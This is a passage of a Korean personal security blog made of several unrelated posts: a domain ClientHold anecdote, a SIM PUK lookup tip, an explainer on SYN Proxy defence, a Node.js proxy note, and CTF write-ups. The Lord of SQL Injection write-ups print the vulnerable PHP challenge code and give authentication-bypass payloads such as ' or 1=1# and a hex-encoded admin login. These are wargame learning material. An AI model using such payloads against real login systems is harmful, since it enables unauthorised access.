실제로 겪었던 경험이자, whois에서 나오는 status 정보가 유용하다는 사실을 알리고 싶어, 이 글을 작성하게 되었습니다. 

도메인이 만료일이 지나지 않았으며, 제때 연장을 하였으나, ClientHold가 걸려 DNS 전파가 안되었던 적이 발생했었다.
해당 부분에 대해서는 다른 계정으로 도메인을 이전을 하였을 때 자연스럽게 풀렸었다.
왜? 다른 계정으로 이전을 하였을때 바로 풀렸는지가 의문이다. 그리고 해당 문제가 발생했었던 도메인 등록 대행 업체를 최대한 믿고 거르기로 했다.

나중에 한번 더 자세히 글을 작성해보도록 할 예정이다! :)

[홈페이지(PC) > 내 정보 관리 > 가입 서비스 조회 및 변경 >
내 가입 정보 > 모바일 자세히 보기 > 휴대폰 가입 정보 > 유심 잠금 해제 번호(PUK) 조회하기]
코너를 통하여 유심 잠금 해제 번호(PUK) 확인이 가능하니 안심하셔도 됩니다.

※ 본인 인증(범용공인인증서 또는 아이핀) 필요

'Trick > Web' 카테고리의 다른 글

PHP Disable_Functions Bypass (copy 함수를 막지 않았을 경우)  (0) 2020.03.24
http://www.wechall.net
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

no에 GET을 받고 있다. 하지만 Quotes를 차단하는 것으로 보인다. 그렇다면 hex로 뚜까 패주면 된다!
No값에 0x27%20or%20id=0x61646D696E%23

0x27 = ' 
0x61646D696E = admin
%23 = #

'WarGame or CTF > Wargame' 카테고리의 다른 글

[Lord of SQL Injection] cobolt  (0) 2019.10.07
[Lord of SQL Injection] gremlin  (0) 2019.10.07
[ctf.j0n9hyun.xyz] 보물  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hash  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Button  (0) 2019.06.24
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

이전 챌린지와 동일하게, 필터링을 하게 되는 것으로 보인다.

그러므로 간단하게! id에 admin'#injection을 할 경우 result['id'] == admin가 됨으로써 Solve가 된다!

'WarGame or CTF > Wargame' 카테고리의 다른 글

[Lord of SQL Injection] goblin  (0) 2019.10.07
[Lord of SQL Injection] gremlin  (0) 2019.10.07
[ctf.j0n9hyun.xyz] 보물  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hash  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Button  (0) 2019.06.24

아래와 같이 SQL Injection 문제가 주어졌다.

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

인증만 우회하면 될 것으로 보여,

ID: gremlin
PW: %27%20or%201=1%23

위와 같이 Request를 하여 Clear을 하였다.

'WarGame or CTF > Wargame' 카테고리의 다른 글

[Lord of SQL Injection] goblin  (0) 2019.10.07
[Lord of SQL Injection] cobolt  (0) 2019.10.07
[ctf.j0n9hyun.xyz] 보물  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hash  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Button  (0) 2019.06.24

HaProxy로 뚝딱하고 싶었지만, DS218play 모델이 지원되지 않아,

Node.js를 지원한다는 점을 활용해서
https://gist.github.com/kfox/2313683

 

A basic TCP proxy written in node.js

A basic TCP proxy written in node.js. GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

해당 위의 소스를 활용해서 TCP Proxy를 구축할 경우 정상 작동을 한다. :)

SYN Proxy는 TCP SYN 패킷 프록시입니다. SYN Flooding 및 유사한 DDoS 공격으로부터 웹 서버와 같은 모든 TCP 서버를 보호하는 데 사용할 수 있습니다.

SYN Proxy는 리눅스 커널에 있는 netfilter 모듈입니다. 연결 간 동시 잠금없이 사용 가능한 모든 CPU를 사용하여 초당 수백만 개의 패킷을 처리하도록 최적화되어 있습니다.

이것의 진정한 효과는 공격 중에 실제 서버가 어떤 변화도 감지하지 못한다는 것입니다. 유효한 TCP 연결은 통과하고 서비스되는 반면 공격은 방화벽에서 DROP됩니다.

SYN Proxy 원리

  1. SYN Proxy가 사용될 경우 클라이언트는 투명하게 SYN Proxy에 연결됨, 따라서 TCP 3 ways Hand Shakes는 클라이언트와 SYN Proxy 사이에서 먼저 발생합니다.

  2. 클라이언트는 서버에게 TCP SYN을 보냅니다.

  3. 방화벽에서 이 패킷이 도착하면 UNTRACKED로 표시됩니다.

  4. SYN Proxy는 이것을 받아서 TCP SYN + ACK (UNTRACKED)로 서버로 응답합니다.

  5. 클라이언트는 SYN Proxy에 주어진 TCP ACK (iptables에서 INVAILD(검증되지 않은) UNTRACKED로 표시됨)로 응답합니다.

  6. 클라이언트가 SYN Proxy에 연결되면 SYN Proxy는 SYN 패킷을 스푸핑하여 실제 서버와의 TCP 3 way Hand Shakes를 자동으로 시작하여 실제 서버가 원래 클라이언트가 연결을 시도하고 있음을 확인합니다.

  7. SYN Proxy는 TCP SYN을 실제 서버로 보냅니다. 이것은 iptables의 새로운 연결이며 OUTPUT 체인에서 발생합니다. (패킷의 소스 IP는 클라이언트 IP)

  8. 실제 서버는 클라이언트에 SYN + ACK로 응답합니다.

  9. SYN Proxy는 이것을 받아서 ACK로 응답합니다. 이제 ESTABLISHED로 표시됩니다.

  10. 연결이 설정되면 SYN Proxy는 클라이언트와 서버 사이의 트래픽 흐름을 벗어납니다.

따라서 SYN Proxy는 모든 종류의 TCP 트래픽에 사용될 수 있습니다. 콘텐츠 자체를 방해하지 않으므로 암호화되지 않은 트래픽과 암호화된 트래픽 모두에 사용할 수 있습니다.

'Study > Network' 카테고리의 다른 글

Anycast 네트워크 구성하기  (0) 2021.10.08

해당 문제는 Page1, Page 2, Page 3 이런 식으로 정렬이 되어있다.

1번 버튼을 눌러줬을 경우, /?page=1을 볼 수 있다.

하지만 숨겨져있다고 하였기에, 1번부터 2000번까지 브루트포싱을 진행할 경우,
1225에서 플래그가 아래 사진처럼 나온다.

 

'WarGame or CTF > Wargame' 카테고리의 다른 글

[Lord of SQL Injection] cobolt  (0) 2019.10.07
[Lord of SQL Injection] gremlin  (0) 2019.10.07
[ctf.j0n9hyun.xyz] Hash  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Button  (0) 2019.06.24
[ctf.j0n9hyun.xyz] Hidden  (0) 2019.06.24

+ Recent posts